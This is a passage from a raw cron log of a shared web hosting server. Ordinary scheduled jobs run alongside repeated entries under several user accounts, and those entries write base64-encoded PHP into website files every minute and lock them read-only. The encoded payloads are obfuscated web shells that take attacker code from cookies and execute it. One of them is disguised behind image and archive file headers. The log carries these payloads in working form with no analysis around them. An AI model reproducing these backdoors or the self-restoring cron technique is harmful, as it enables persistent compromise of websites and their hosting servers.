dTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:30:02 medusa CROND[11778]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:30:02 medusa CROND[11779]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 06:30:02 medusa CROND[11773]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 06:30:02 medusa CROND[11780]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:30:02 medusa CROND[11769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 06:30:02 medusa CROND[11789]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 06:30:02 medusa CROND[11793]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:30:02 medusa CROND[11791]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 06:30:02 medusa CROND[11809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 06:30:02 medusa CROND[11785]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 06:30:02 medusa CROND[11807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:31:01 medusa CROND[30687]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:31:01 medusa CROND[30827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:31:01 medusa CROND[30828]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:31:01 medusa CROND[30829]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:31:01 medusa CROND[30831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:31:01 medusa CROND[30835]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:31:01 medusa CROND[30836]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:31:01 medusa CROND[30833]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:31:01 medusa CROND[30838]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:31:01 medusa CROND[30834]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:31:01 medusa CROND[30854]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:31:01 medusa CROND[30857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:31:01 medusa CROND[30861]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:32:01 medusa CROND[16304]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:32:01 medusa CROND[16526]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:32:01 medusa CROND[16527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:32:01 medusa CROND[16531]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:32:01 medusa CROND[16532]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:32:01 medusa CROND[16533]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:32:01 medusa CROND[16534]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:32:01 medusa CROND[16536]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:32:01 medusa CROND[16539]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:32:01 medusa CROND[16541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:32:01 medusa CROND[16542]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:32:01 medusa CROND[16537]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:32:01 medusa CROND[16546]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0